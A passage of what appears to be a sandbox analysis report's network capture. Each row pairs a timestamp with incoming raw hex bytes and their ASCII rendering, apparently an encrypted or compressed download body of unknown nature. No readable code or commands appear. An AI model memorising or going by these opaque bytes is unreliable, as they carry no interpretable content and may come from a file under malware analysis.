6c 88 75 ba Data Ascii: QrgZkwh$AiC"&>$&v~>x$>` ,wbt'dP&N aA+E^XVR-}2b/=fk{C#)(S`nUR/&O\|1p)mv5SiZ? r2,LMF]in$slu
2022-01-14 03:59:52 UTC	6398	IN	Data Raw: 9b 5c 88 62 71 9b 9e 41 fa c3 0f 36 5e 04 b1 e7 26 96 6f 79 0e 19 8c 27 9b a1 52 6b 82 36 41 2a c0 aa ea 32 65 05 57 cd 34 ba 24 c3 a4 b0 45 d6 86 78 04 be 12 77 f2 a6 87 fd c1 88 24 82 ae 79 89 fa c8 af 0c 63 bc c2 31 98 44 c3 09 2b 54 1c 09 d5 f3 ab 73 e3 04 b9 c4 ff 08 c5 07 8f 67 20 f1 ed 91 2a 79 1b 24 f6 5a 62 ea 7b 42 56 72 fc 5c e9 a0 d4 70 03 e9 c7 7a 06 05 c1 99 43 a3 5f 54 c9 60 75 58 af ae b8 4b 06 76 2f 78 38 fc e1 a5 c5 0e c1 e2 22 4c 54 86 26 e2 79 b7 56 59 91 a8 68 e9 90 fb 44 b5 c6 1c 1e 79 fe fd 17 3c d1 67 fe 49 1c b2 7a 8b 34 56 79 d1 82 f8 3e 8e 7f 90 5b 06 8d 39 3e be f7 80 bc 2e ac 79 5c 5b 98 d1 e6 b8 ad 75 bf a4 c6 8e 41 c8 12 7a 56 83 e2 0e 07 e9 ff 44 1d 15 f4 96 5d 0f e2 c1 77 51 58 66 7b 46 81 af cc a8 c3 aa 55 73 4e c9 23 f5 Data Ascii: \bqA6^&oy'Rk6A2eW4$Exw$yc1D+Tsg y$Zb{BVr\pzC_T`uXKv/x8"LT&yVYhDy<gIz4Vy>[9>.y\[uAzVD]wQXf{FUsN#
2022-01-14 03:59:52 UTC	6414	IN	Data Raw: 8c 21 4a 99 f6 e4 72 76 db 04 35 94 57 17 3e 90 f0 e3 22 ed 7a ab 3c 01 0d 81 50 86 c1 b6 65 40 b4 23 b4 db 06 56 c8 d3 cf 4b 57 aa 77 f7 c2 aa e6 dc 99 bf 9f f7 3c 48 b9 3b 43 7e 6b 23 33 86 84 74 37 86 ed d8 bd f9 62 e1 28 6d 23 de 16 66 a3 e0 c6 3e f6 34 5b 22 78 8d 83 1c 91 39 c3 85 4e b7 f0 ea b1 50 87 a5 0e bf 9c e0 ac fb ef e9 f8 fd ec a2 fc 81 86 de a3 e9 f9 97 be a2 4a 37 18 3e a6 21 4d 3f 5d a9 2d 60 8e 19 01 d9 ed bb c4 7c d9 7a 85 01 9f b4 c5 16 e5 4c b8 6a c9 0d 00 8e 96 f1 5c 50 ab 01 6d 0c 08 2e 16 13 22 ec 4c 9c 0b 75 5c e6 b3 2a a4 df ba 11 54 26 ff a0 c3 9d f7 f7 91 3c d0 3d 9e 5f a2 bb 7c 6e 99 bc 6b 6a b6 67 bd 04 61 04 4c 20 1f e2 ca 26 15 12 c9 23 aa a7 be e3 1f 6a 71 c0 86 c8 cc 58 cd 9e 90 06 86 d8 6c e6 e3 02 20 8e e4 ef 9f 4a c0 Data Ascii: !Jrv5W>"z<Pe@#VKWw<H;C~k#3t7b(m#f>4["x9NPJ7>!M?]-`\|zLj\Pm."Lu\*T&<=_\|nkjgaL &#jqXl J
2022-01-14 03:59:52 UTC	6430	IN	Data Raw: 19 ac af bb 50 bf 14 86 ef 0e 72 b7 57 ab b9 04 98 d9 ce d7 7c e4 06 a2 01 e7 de b6 77 30 d9 f7 24 1f 00 1f ee 9d c5 ab b2 1a e9 61 35 3a 1f 66 11 1f 62 d6 76 ad 56 29 71 f7 0a 1b 95 58 74 88 e7 6a 42 24 45 f4 23 84 a8 4e ae ab 7b 22 c3 20 9a a6 7c f9 1f 28 21 c3 9c 99 5b 25 11 02 8a 9b 93 be 7b ab cb 8e 0a 45 1e 4e 82 e1 cf 5f c6 e4 4a fb 70 c0 fb d4 7e ed 6a 06 89 eb 0a 59 e2 ee 24 cd 24 35 33 8f 07 c4 5b 74 5d f7 bb 4c 8c ea bb 72 07 b9 a2 56 6c 37 20 1d 9b 22 d6 a2 98 85 f0 5f 8b 60 16 da 66 66 28 da a5 e7 d9 62 f6 f7 0e 15 a3 d2 4e f1 78 67 9b c5 52 70 4c f3 0d 85 ff de 1c 1e 9d b6 a0 00 09 31 4f 05 de c0 23 bc 4f 8d 29 59 c8 12 12 83 25 0b ac 7c db ff 1b 08 c2 0e ba da b1 40 23 f5 c3 46 f4 41 fd 31 b3 6f 7e 8c f7 3a 88 cc a8 1e 16 7a 28 5a 30 ac 40 Data Ascii: PrW\|w0$a5:fbvV)qXtjB$E#N{" \|(![%{EN_Jp~jY$$53[t]LrVl7 "_`ff(bNxgRpL1O#O)Y%\|@#FA1o~:z(Z0@
2022-01-14 03:59:52 UTC	6446	IN	Data Raw: 42 92 76 fe 8c 45 69 d4 cf 2b 90 de 46 83 b2 d6 5e a0 14 45 b5 e4 26 b4 82 76 37 19 a2 74 a8 e9 5d f2 ce 6a 25 dd 28 49 14 7c e4 bc 6b a3 96 b8 a6 bc 16 a4 94 ef 04 f0 27 1e e5 62 4c f5 68 27 93 49 8b 09 11 2a 42 cf bf 67 1b 33 45 4d 68 05 a4 eb ef 6d 0b fd 25 81 73 85 e2 96 c2 75 85 f9 23 5d d3 ca 13 41 6e 71 83 db e7 11 dd 3e 27 f2 50 5c f6 31 1c 78 dd 8b 22 33 ff a2 af 86 69 7d 1a 38 e5 27 2e b5 7f 47 46 73 70 d3 a7 ee 4a e2 66 27 ea 29 51 f2 11 54 e4 5a 52 1e 1a 0a 20 fb 64 ba a3 bc 26 a2 04 47 1d 2b c6 02 b5 e5 c7 9e 58 0a 45 ce 5d 6b 8b 89 81 f6 cd 75 f2 4e 14 d9 4a b5 06 a4 da 35 80 11 52 9f 7e ea a8 bb 25 57 16 21 fc 79 83 e2 de c9 93 06 00 d9 40 8e 05 23 51 5d bb 12 7d 14 62 0e 70 52 34 a9 c5 63 6f e0 c6 ae da 19 c3 11 28 ba c3 7a a7 20 ea 53 35 Data Ascii: BvEi+F^E&v7t]j%(I\|k'bLh'I*Bg3EMhm%su#]Anq>'P\1x"3i}8'.GFspJf')QTZR d&G+XE]kuNJ5R~%W!y@#Q]}bpR4co(z S5
2022-01-14 03:59:52 UTC	6462	IN	Data Raw: 8a d3 27 fa 74 79 a4 28 92 1a d3 a7 6b 6f cf e8 a6 de 5b 7d e0 8c 77 69 0b b2 9b f7 e1 6e c5 12 e6 f9 50 d9 eb f2 52 24 91 de bc 16 08 a6 dc 3a 65 de 22 e6 f7 7c 59 48 b4 3a f6 1c 1d 19 a5 e5 a0 90 91 fe 31 09 a4 47 bd 00 b6 bc b4 00 0e 1d de fb f5 3c b1 26 2e 11 ca 99 e5 2e a9 34 85 66 b8 68 48 a9 50 0a 53 e5 9b be 02 e5 1f 0f 06 57 68 7f bf 61 28 0d 5d 0c 4e c4 70 a4 7f 6f c6 8c d2 3c 5d 9f 1e f1 96 6b d8 e7 9b c5 6a ca 37 10 ad 19 d9 e0 ea 7d 5d 7a a8 2a 26 4f f6 86 0c 9c 9d 3a 6a fe 2b 28 b4 41 c5 dc 5c 2a 2a bc 6d ee 85 4b 75 9c f1 44 20 08 13 d1 7e cd c6 9b 5d 4e 61 c1 ba 43 ff 12 4b 99 63 96 33 5d 34 ba a5 57 04 a6 2a ac 5d 31 61 bc 06 3a 22 db f2 7b 6c 48 c6 e0 82 ee 57 36 9f 9c 13 13 aa 77 01 52 f1 4f cb db 9e a6 a7 f7 4b f9 5e f0 33 f8 4c 3f 80 Data Ascii: 'ty(ko[}winPR$:e"\|YH:1G<&..4fhHPSWha(]Npo<]kj7}]z&O:j+(A\mKuD ~]NaCKc3]4W]1a:"{lHW6wROK^3L?
2022-01-14 03:59:52 UTC	6478	IN	Data Raw: 20 7c 97 5d 76 16 fd 35 f4 d1 4f 45 b6 6b 80 f9 68 37 f1 ce 55 b6 c0 8f b2 4e 81 dc 53 3d 15 77 ac d6 cd 36 d9 3f 18 7e f8 63 f4 bf 4b d2 62 11 ab 8b 30 ea 10 f6 83 bf d6 0d d0 4f dc 67 08 1b 2d f0 51 12 74 ab 37 51 4d c9 9a 43 5b af 16 82 ca d0 ca 11 86 8b ae a1 5a eb d6 84 ae 28 71 d5 79 0d e1 bc 43 f2 72 02 51 b2 77 8f 80 bd 04 b2 23 0a 8b 95 43 7b 5e fb eb 37 e0 c4 0c 8d e9 f2 dc 2d d9 e6 27 f2 29 a6 40 90 e0 d0 e6 58 d2 bf 6e e4 74 7e dc 2a 11 60 be 77 62 5e 90 b0 4c ed 43 36 1f e9 54 b8 9c 19 b4 c5 b9 4c 8a 29 55 70 9d ff 12 ed 8a 69 63 b4 61 d8 48 fd e6 39 02 68 54 ac 0f 89 6b 69 e2 a4 58 c7 1e 8e fb 5a db af 54 06 43 15 9b 45 0c f2 1e 32 73 91 6f 21 fb a9 30 13 2c 5b 55 42 49 78 d6 a8 52 70 99 ed aa 75 1f 50 37 26 0f 14 fc 41 df 68 7a 76 25 3a 0a Data Ascii: \|]v5OEkh7UNS=w6?~cKb0Og-Qt7QMC[Z(qyCrQw#C{^7-')@Xnt~*`wb^LC6TL)UpicaH9hTkiXZTCE2so!0,[UBIxRpuP7&Ahzv%:
2022-01-14 03:59:52 UTC	6494	IN	Data Raw: ed 6d a5 90 c9 62 f1 51 d3 b9 97 79 ec 64 af a9 e9 54 c6 61 4c be 51 83 b2 6b 8f 2e c6 80 ab de 19 9d 1d b6 55 bd c9 d0 5c a4 2d da af 71 73 53 f1 a9 b2 9e 6e 6e 44 1a 19 8b fb a7 ae 8f f4 82 9e ff 4f ac cb 27 6b 32 92 5c b0 aa 07 16 58 20 0f 40 54 eb 9b fa b2 19 1d a1 cb 53 77 3d a4 5d 5b bc 7f 40 e7 7b 65 c5 10 7e ee d2 b8 37 58 2d e0 f7 9f 64 96 79 de 67 45 d2 1e f7 01 68 6d b6 c2 55 09 cf 53 0f df 5b 96 84 55 d8 88 d2 02 9c b9 c5 53 fa d3 f2 f3 2f 13 3b 9e d1 4b 20 90 8a 6b 0a 3a 65 2e 6e 5a 97 bb b0 45 3e 71 39 80 fc ae b5 26 64 2e e7 4b eb 74 6f 37 35 64 8f 4b 34 92 07 d6 ff c4 aa 1b 5f 24 df 81 37 de 42 4f 1e d6 17 b3 a7 20 80 a8 11 df 53 1f 32 f6 33 e3 50 3a ab c7 7e 76 e1 15 ca c3 e3 50 20 15 09 dd 4c 7d cd a9 92 e3 63 50 a4 78 bf 14 ac b0 bf 50 Data Ascii: mbQydTaLQk.U\-qsSnnDO'k2\X @TSw=][@{e~7X-dygEhmUS[US/;K k:e.nZE>q9&d.Kto75dK4_$7BO S23P:~vP L}cPxP
2022-01-14 03:59:52 UTC	6510	IN	Data Raw: ed 8c f1 3c 86 15 69 ff 08 de a8 6f d8 8d 5f 02 69 da 87 11 2e ab 23 00 89 bd c5 b0 1c a3 1b 6f fa dd cd ff b7 25 91 2e 36 e9 47 40 e4 73 82 20 03 ec 8a 21 00 90 13 f0 b6 60 17 8a 2d 86 ef d0 54 46 ff 62 33 5e 27 01 4a 4f ed a9 2d 8e 1e 47 c7 e4 fe 68 d6 25 23 ed 50 f5 9c ed 71 c8 bd 34 59 20 7b 09 db 41 60 03 ca 58 9d e1 49 99 9d 07 3c 0c ee 3f 35 12 ca 5c 3e 34 ad 03 09 5e 12 72 0a 7f e0 39 eb ca a3 45 f3 13 b6 38 3c 65 ee a3 05 b2 6e 5d ab 84 83 eb a4 e1 ac e8 48 be 93 87 ed 79 d4 e1 63 95 e6 95 2b fa 48 42 22 86 57 ef 21 9f f8 ff f3 eb 1c 8b 1e 16 ea 46 cf 36 7b 41 ce 53 ad 2a 15 80 d5 59 e4 5f 37 06 35 4c 86 22 b8 43 8f be 4f 4e a4 69 91 67 52 e0 d7 05 69 81 ee ca 0c f1 9a 0d 2c 84 5f a4 78 06 54 39 f0 17 8f ea d5 e8 c3 29 38 54 7e f4 19 39 05 68 1a Data Ascii: <io_i.#o%.6G@s !`-TFb3^'JO-Gh%#Pq4Y {A`XI<?5\>4^r9E8<en]Hyc+HB"W!F6{AS*Y_75L"CONigRi,_xT9)8T~9h
2022-01-14 03:59:52 UTC	6526	IN	Data Raw: 48 f1 be d7 b1 9e 85 3c f9 46 4e b7 6b 68 9a 0a ba d9 48 ea d7 06 d2 3a eb 66 6f 0f 41 36 7d b0 3b ed 82 e9 ae 9f 14 50 96 4c 68 e6 6f de 80 0f 09 67 0b d2 ee aa 40 2b a7 d6 27 b5 15 fb be 8c 3d a5 48 81 f3 80 40 d1 d6 bf a3 cd 4a b1 f7 5e 15 a8 1b 05 d2 05 d9 b9 17 d1 e9 01 36 77 8b 47 6a 80 28 05 9f 6f 9d e1 3f ff 25 28 4a cc c6 ff 32 8e b3 e2 0d bf 7f 62 c9 31 78 9e 90 71 d0 62 a7 38 6d 8a 52 aa 1c aa 99 06 45 0e 26 fa a8 75 05 8b 94 db 9b 15 1e e0 39 5b c0 79 8a 91 c0 45 4e 09 2f ad ad 09 7d d4 3b d4 c4 41 64 d1 0c a7 c4 08 fe e5 aa 8b f9 bd 73 e1 34 6a c0 72 98 d4 db db 47 d0 df b0 d2 40 85 a6 1d ff 07 8d 06 2f 20 52 33 36 37 fb c9 71 99 33 39 be b0 ea 84 b1 94 9f 21 14 36 fd 0b 52 f0 16 34 a6 eb e2 28 84 c8 2b 99 82 2a 69 3d 2d 91 cd 1f 66 7e 3a 1e Data Ascii: H<FNkhH:foA6};PLhog@+'=H@J^6wGj(o?%(J2b1xqb8mRE&u9[yEN/};Ads4jrG@/ R367q39!6R4(+*i=-f~:
2022-01-14 03:59:52 UTC	6542	IN	Data Raw: 38 25 cf 71 d9 84 85 90 3b b9 d9 d7 e7 cf b5 07 5a 95 66 20 30 56 0d 00 6b e1 21 b3 38 79 ae 8c 9e bd a5 26 98 07 37 12 a6 71 83 83 08 7f 2b db 3a 93 10 d2 6f 83 0c 3e c2 74 d0 37 00 ec 10 65 7b 25 b6 28 47 77 ef f6 c4 4d 0c 2c 71 00 ab 75 b1 71 e8 d8 ab 53 61 0b 99 7a 3e 51 e4 02 77 ed da 54 1e 50 39 4e 60 bd 06 f4 03 1c 98 96 c7 f3 b4 26 f3 62 00 51 8c ad b6 14 1f 28 23 c3 bd 16 1b b6 77 13 36 cb b1 18 01 fa f2 91 f8 23 f4 b9 4f d5 bb 01 a0 78 a1 0c 84 bc 14 36 f1 75 33 ff 16 99 aa fd e4 68 02 63 a0 de 0d e7 91 be de 0e 5f 0d 35 b2 83 9f ff 26 7d c8 de 19 d7 5b 14 bd e0 1a e4 00 d9 35 81 c9 7d b4 3c 46 49 89 39 78 7c dc f4 76 67 50 ad ed bc 58 04 d4 f6 2a 71 5d ee 44 45 d2 12 95 dd 36 d8 74 f1 6a a3 37 ef df 9c 29 c7 07 b2 eb 51 ba 55 5c e1 a4 bd d3 9b Data Ascii: 8%q;Zf 0Vk!8y&7q+:o>t7e{%(GwM,quqSaz>QwTP9N`&bQ(#w6#Ox6u3hc_5&}[5}<FI9x\|vgPX*q]DE6tj7)QU\
2022-01-14 03:59:52 UTC	6558	IN	Data Raw: 6c 8d bd 1e 23 90 81 11 88 c5 1e 45 b3 ca 20 7e f3 28 e7 a5 21 1c 8b a9 0b 25 6e 1a 7a 1a 27 f1 bb 5b e9 29 1d f9 c4 3b 70 98 4f e5 48 46 ba 14 01 82 8d 1f f6 e4 1e 7d 41 da 44 92 a7 99 98 aa 17 20 5e 45 bc fe eb 0a c4 33 21 21 1b ba a7 4c 2c 61 96 7d 07 c0 bf 38 08 0f 93 69 f0 03 4c e3 61 c2 6a dc 17 44 c9 76 fb f9 3d d8 35 1c 94 74 f3 cb 54 64 b3 16 78 40 fe af 3d 61 31 ff d2 2b 56 51 fd 73 a8 a4 4a 8b 36 bb 7d b2 2f 07 e7 d4 45 f2 ae 44 fc c1 39 0f 50 9b bf c4 94 76 20 e8 c7 70 91 b7 f3 c3 42 33 3a d5 9d 32 64 7f 92 09 2d ff a3 f2 fb 8c 32 4d 31 b3 ca 7b 30 14 aa f8 d5 c9 95 c3 a4 18 31 64 d3 c0 8f 8d c6 83 83 88 bf e4 e7 ac 8b 0f cf a7 9e 2f bb d1 62 9b f8 3d f6 f2 e3 b1 ce 24 b1 0b 50 c8 7f 14 67 87 cd f7 3f 2a 53 df e6 1c f5 98 a9 4c d4 58 0c 95 34 Data Ascii: l#E ~(!%nz'[);pOHF}AD ^E3!!L,a}8iLajDv=5tTdx@=a1+VQsJ6}/ED9Pv pB3:2d-2M1{01d/b=$Pg?*SLX4
2022-01-14 03:59:52 UTC	6574	IN	Data Raw: 4f 4b 96 1a 51 e3 ce e0 91 dd 37 cd fd 86 33 f0 bf cf ba ae 4f 16 ce 27 c1 e7 a8 e2 d6 f8 fb ed 9b f5 6f 8c d5 61 ab 45 0f ca 7d 70 69 29 2e 20 05 05 26 65 bf a1 9f 4d 42 cf 20 84 6e 25 73 52 2e 06 8f de 88 28 f7 26 0e 76 8e 4b c9 a8 e0 56 fe e2 e5 6b 7b 13 6d 41 d6 ce 6d 41 78 e0 88 65 15 47 c1 31 92 87 4e 94 3a b9 af 80 df 24 3d 53 c9 f6 88 e6 12 21 4c ce c9 61 17 df 61 8e fd 65 c6 14 66 f9 6f 03 36 72 18 3f eb a2 e6 cc c4 68 7c 4b 96 34 b9 c0 87 b2 a2 73 88 8e fe 34 a5 2a 31 8b 17 74 0d 24 b5 90 6e 6b 57 02 51 14 f4 ce 23 b0 b0 9b c8 11 d1 64 05 17 51 58 85 03 cf 49 23 9c 88 37 90 76 f4 5b 66 18 2a 7c f7 bc 38 f1 63 20 fe 60 06 8f 5e ae 9e ff 1e 9e cf 48 95 f7 37 f6 ad bc c9 38 11 3a c5 40 bf 50 e9 1e 40 b7 28 3a 7c cb 2c 46 6d f7 6b cc af af 81 3f 4c Data Ascii: OKQ73O'oaE}pi). &eMB n%sR.(&vKVk{mAmAxeG1N:$=S!Laaefo6r?h\|K4s41t$nkWQ#dQXI#7v[f\|8c `^H78:@P@(:\|,Fmk?L
2022-01-14 03:59:52 UTC	6590	IN	Data Raw: 37 7f 10 2d 7e b8 df 16 79 47 9e 37 59 79 a0 ef ff 73 78 7f 61 49 71 09 83 a8 5a 38 1e 3d 41 d7 8c 6f 17 6a 78 b5 3f 31 fe fd be bd a2 36 13 fc 42 56 c3 3d a5 70 1b 20 28 7c e0 40 a3 71 66 be 4c 38 d3 b5 65 7c cf 86 43 8c b8 0d 7b e8 19 88 02 0a d4 16 56 c9 7e 94 05 e8 ec 8f 4c b9 e8 2b d2 08 6e a6 07 25 55 a4 97 c0 7b ba aa 3f 13 0b 3a 31 fe 2d 4c 3b ff 5a 95 41 ed 97 3c 6e 25 1b 6f ed e1 8d aa 73 e1 c7 76 a7 9e f6 e3 52 94 2b ec 34 45 a4 ac 1a 04 4d e2 ec 0e f4 de dc 5f 38 9f 4a 57 f6 5e 3a 7a 10 92 2a 4e 97 b8 8d 8a 0b 91 14 c7 35 b0 96 23 20 8e 5b 17 1b 72 69 48 09 6c 98 37 16 a3 f1 f6 41 33 42 d6 17 a7 29 33 c6 2f ce 97 52 52 e4 a5 ef 38 9d 09 aa 32 b6 23 0d 09 e2 16 bb f8 3a a2 57 8b b2 f0 5a e3 13 48 60 38 56 13 33 a4 db 20 5b 5b de 2a 0a f1 0d 61 Data Ascii: 7-~yG7YysxaIqZ8=Aojx?16BV=p (\|@qfL8e\|C{V~L+n%U{?:1-L;ZA<n%osvR+4EM_8JW^:zN5# [riHl7A3B)3/RR82#:WZH`8V3 [[a
2022-01-14 03:59:52 UTC	6606	IN	Data Raw: 6a 30 f6 95 fc 8c 68 64 1a ad d2 9c b7 7c 6a c7 7a c4 10 2c c6 54 9e 30 02 0c 4b 17 98 8a 2a 3c 44 72 3d 93 f9 a8 f5 6d d5 20 33 c0 53 ac 4e 15 2e 02 63 da 04 88 f3 38 4f 36 74 97 28 fe 78 18 16 58 27 2d 7c 41 b1 92 a3 fe 17 ef 88 2e 34 05 ba 59 05 60 8e 53 a8 0d 54 73 9e e8 0e cc 8c 07 63 e3 6d bd 79 6c c2 26 2f 44 b6 d0 cb 05 9c ec d6 81 1a 6b dd 49 53 13 f0 7b 32 90 e2 64 e0 e7 df fa 6f 28 d6 10 f3 5d 06 1d 44 5a 5c c0 f1 a0 3f 3f d4 2a de bb 68 ed ec 36 55 1b d6 c4 fe 8b 72 59 9b 54 69 a2 d7 4c 16 c0 31 8a 20 27 f5 75 94 96 a4 5b 3c 91 86 88 a5 3d 70 dc 72 ab 97 b9 ad 67 aa c8 ae 40 bf 2f 73 65 f9 24 69 90 24 f8 aa 8e 1d e0 b6 1f c7 40 21 0c 19 56 e5 00 98 c7 22 bb 02 4d 81 85 1e 78 e2 56 66 2b 3c 8a 49 e5 c6 39 3e 79 fb e4 64 76 09 a5 63 7d 39 1f c2 Data Ascii: j0hd\|jz,T0K<Dr=m 3SN.c8O6t(xX'-\|A.4Y`STscmyl&/DkIS{2do(]DZ\??h6UrYTiL1 'u[<=prg@/se$i$@!V"MxVf+<I9>ydvc}9
2022-01-14 03:59:52 UTC	6622	IN	Data Raw: e3 31 ef e3 5b 8d c7 0a c1 95 da b3 3f 7c 09 47 19 d5 06 e3 c3 a9 5d b5 9c 92 47 23 52 87 43 24 0f 76 e4 e8 de 32 6f 40 7a 0a f8 b0 8b 8e 7a 94 bd 44 b5 30 ae 3e 24 4d f5 90 13 a3 b4 96 65 83 d7 1e 42 0a ff dd c2 a0 bb 16 78 53 26 d8 16 02 43 e3 7e 9f 29 2f 44 f2 93 8e 2f 1d 6e b8 d6 68 d1 aa 73 31 f9 45 2c 14 84 9f 23 43 84 92 97 2c f6 a6 7c ce 86 51 29 f4 cf 8c 64 bb 72 64 a4 20 2c 08 bd 69 e5 e1 ce fc c6 c1 88 23 a2 cb 50 a7 31 63 e6 db 9e cc e1 ab c7 16 3d 4a 3f fd a6 fe d9 2f 4f 8d 84 8c 69 eb 24 e1 f3 6f 5e 6f 6c a6 28 eb 57 99 af 19 5c d5 54 26 c6 8e db 71 ac fe f4 d0 7f c7 70 5b d2 4d 95 6d ba 7a e8 ec 0e 1c fb 23 01 8a a0 58 40 56 e5 fe 24 4f 4f 9c e2 1f ff a6 a9 9d 2d 70 ac 69 ef 7b a1 fc 0c c6 e8 68 57 28 91 6a 23 86 2a 10 ce 83 10 9e 9d 71 a3 Data Ascii: 1[?\|G]G#RC$v2o@zzD0>$MeBxS&C~)/D/nhs1E,#C,\|Q)drd ,i#P1c=J?/Oi$o^ol(W\T&qp[Mmz#X@V$OO-pi{hW(j#*q
2022-01-14 03:59:52 UTC	6638	IN	Data Raw: 34 62 52 d0 50 1e 3c c7 6a 58 6b ca ca 23 cd c8 10 3f de 64 37 16 a4 31 4c 7b 2b dc e3 a8 84 22 13 ea a7 d2 03 9b 44 8a f6 4b 70 ea 6d 3e 19 57 3f f5 53 f0 d1 07 a2 49 ad 48 5f 57 72 08 bf f7 2e 64 dc 88 8e 7d ab b3 76 42 5d b7 0a b8 87 da 6a e7 e7 4c f8 fa f1 4b f9 bc 7a 3d 80 fd ec 18 5d 0e d1 32 ca 73 f8 c9 01 b1 fb 03 19 0b 08 a7 e6 ab c5 1b d2 87 b8 d5 9d 8e 31 af cd a6 8b 1c f7 a2 d5 d9 f2 e3 e5 8c 4c 5e eb 99 fd ab 61 2e ad e6 5e 70 99 46 bf 4c 04 26 da 4a 7f e8 1a 37 22 26 3c 85 f7 b4 aa cb ff a6 12 fd 7c 5a cf 3a 8a 0e 6e 1f e4 d7 8d bf 96 f4 b4 45 8a 87 ea 7d 0b 47 dd 7b e1 30 73 78 de a1 19 ae 91 72 09 8a dc 6e c0 ab e7 c3 0d 35 3c 72 5a af b3 60 26 62 81 8b 03 e4 9b c0 a0 e4 5a 93 ac 90 7c 34 9c d1 79 c2 ef 94 a1 47 0b a7 63 ec fd b5 aa aa 48 Data Ascii: 4bRP<jXk#?d71L{+"DKpm>W?SIH_Wr.d}vB]jLKz=]2s1L^a.^pFL&J7"&<\|Z:nE}G{0sxrn5<rZ`&bZ\|4yGcH
2022-01-14 03:59:52 UTC	6654	IN	Data Raw: 95 6a 36 f9 f2 de f3 72 eb 7c 0b b0 84 16 f2 48 cd 49 8b 73 0c 3f b3 e9 bd cc 3f 45 16 b9 5e 79 aa 28 f8 2f 96 68 81 de 91 9a ba 3b 68 fc f5 b1 f6 ac 52 7e 99 6b 8d 6c d7 9b 5e fd a0 aa 88 69 60 c0 7b 92 1f 8d 9b a9 3c b9 e4 2d 28 d9 f5 c8 cf c1 64 47 e0 9b 1f 05 19 5e dd 5c 19 13 fb 90 fa 3b 5d f6 19 d4 b3 9f ae 16 6b c8 82 48 0d dc f1 02 5d 9f 81 bf 81 74 15 e8 df ac b5 e0 05 8a 72 08 4e 9a 49 a5 ad 20 30 ad 6d 35 04 b5 a4 31 89 2b 7b 4b 8b 43 f7 1c 03 80 0e 2a bc 34 e0 76 f9 3f 9f eb 64 d3 f1 88 df c8 7d 46 fb 25 f0 b0 bb 9a 7a 88 44 07 cb b9 b1 1f cf c4 4c 0a ab 63 e0 97 e0 5c 62 02 b3 3f 4f 5f 68 b7 6a d1 b6 2b 50 41 26 14 cd 0a 9d b5 89 fd 3b 01 a9 38 dc 7b b5 e7 27 03 e6 42 e9 7f c0 2a 86 dd e1 86 44 db 14 78 37 f8 60 64 d4 f3 83 a2 5c f8 04 de f6 Data Ascii: j6r\|HIs??E^y(/h;hR~kl^i`{<-(dG^\;]kH]trNI 0m51+{KC4v?d}F%zDLc\b?O_hj+PA&;8{'BDx7`d\
2022-01-14 03:59:52 UTC	6670	IN	Data Raw: 95 d7 63 43 7b f0 f4 4b 68 ce 11 df ce 9a 04 25 0a 35 dc 34 e5 24 47 ca 48 77 22 8a 2c 5a cb 54 72 c0 d4 5b c8 ac 3d b0 a7 5b 02 80 f0 79 53 a5 e0 c7 69 28 8e f8 32 bf c9 04 77 d6 68 34 bf 95 74 30 df 79 e8 37 a0 0e 0b d3 0a c8 bd 61 75 ca 83 52 c6 41 da 04 78 fd b5 2a 1e e8 02 68 e3 36 ff 71 ad fe af e8 c8 80 de f4 d3 46 d8 d7 80 7a 90 82 e7 0f ea 67 0b 37 34 91 24 95 06 0f b6 92 c8 e7 aa bd 8c bf 67 f5 2e 33 cb 39 2f d0 51 7d ff 27 8e ed 77 5c 78 e6 f2 f7 4e 35 10 bd 58 a2 4a 73 c5 9c 4d 92 f5 04 af 86 58 31 7f d7 9b 39 10 1f 19 ed 0e 59 d1 ff f0 75 40 e4 fd 3a e4 b0 35 bd d1 50 ed f3 75 4a 1c 61 0c c8 78 3e 79 e7 d9 b7 ea 07 a4 4a ca 02 ad a0 79 5e 2a 98 b1 cf b4 64 19 29 8a 07 94 b5 24 df 42 14 07 91 ba 4e 11 01 8e 09 27 3a 35 f0 93 a6 60 55 ee d3 81 Data Ascii: cC{Kh%54$GHw",ZTr[=[ySi(2wh4t0y7auRAxh6qFzg74$g.39/Q}'w\xN5XJsMX19Yu@:5PuJax>yJy^d)$BN':5`U
2022-01-14 03:59:52 UTC	6686	IN	Data Raw: 34 21 58 c2 1a 52 a4 cd 0f 08 fb 53 3f 8c 6f 92 66 33 96 6e 63 d8 a4 ea 4e 9e 56 41 24 59 12 46 75 6d 38 b6 31 07 f4 ea 86 4c 67 f9 d0 0a c0 8b 7c 40 e8 03 6c 93 ad d7 8c c8 d9 95 04 92 d2 f7 42 21 2a 30 6d a8 04 eb d9 7d 73 87 70 73 5d f4 38 7d 04 2a bc dc 19 4e 16 50 81 77 62 8c e5 7d d7 44 98 eb cc b3 49 84 d0 38 1c 98 bc e4 1c 03 b7 44 f8 5f 95 ed bc ea 62 9c f4 14 2e 4d cc b3 6b 5c 38 1c 1d 33 59 28 e6 c2 12 a4 d3 a8 3d f6 54 0e d3 16 94 2a 8e f3 25 9b ba 3f 92 57 a8 62 62 a8 a7 92 24 b1 e1 6e da 34 14 75 1a 29 4e 5a 15 e5 8e fa 6e d1 51 33 97 95 c8 64 48 44 41 05 a5 23 78 8a 6f 0a 86 5f 37 43 04 ac e0 2a cf 4c 2f d3 6b 3a 34 23 64 b0 78 a0 a2 8a 9a d1 f9 db 1f 9a 47 72 69 81 23 75 db e5 30 9b 4d 16 21 b4 16 f5 d0 1b 1f b3 1e a7 94 ff 17 f4 07 53 5d Data Ascii: 4!XRS?of3ncNVA$YFum81Lg\|@lB!0m}sps]8}NPwb}DI8D_b.Mk\83Y(=T%?Wbb$n4u)NZnQ3dHDA#xo_7CL/k:4#dxGri#u0M!S]
2022-01-14 03:59:52 UTC	6702	IN	Data Raw: 2c 2c b0 2a 6b 97 de 5b 27 0e 69 22 c4 a1 5b 87 b0 68 46 fd 7e a1 ba ba 4f f1 7b dc 70 34 ba b4 f1 ea fd 00 7b 3c ed 5f 8f 25 db 65 85 5a 4f 54 9b e7 ff 2a a7 e2 16 9e 16 96 d6 09 45 ab 5d d5 4e b7 37 c9 13 1e 42 96 94 7c 76 f2 e9 ad cd 7a 9c 9a d1 6f 7d b2 74 e2 a0 2d 2d 91 93 3c f8 34 68 02 33 d6 f8 ee 98 6f d7 26 aa 7c 82 75 68 e8 32 69 6d a1 d4 fa c8 89 ee 2e ba 4b 51 b1 05 aa 5e 73 48 2b b9 25 cf db da f0 4c 78 9c 9a 73 a0 da 74 9e 70 de 76 73 a7 20 39 1c ac a9 1b cd 45 4b e6 0e ad e3 c6 e4 63 3e 6f ba 04 96 c0 6f e8 73 21 4c e7 2a e7 ee fa 31 06 7d 47 9c 37 b1 88 98 fe 51 f2 1c 59 fc 02 c0 98 ef 24 10 d3 f2 31 45 b5 81 21 05 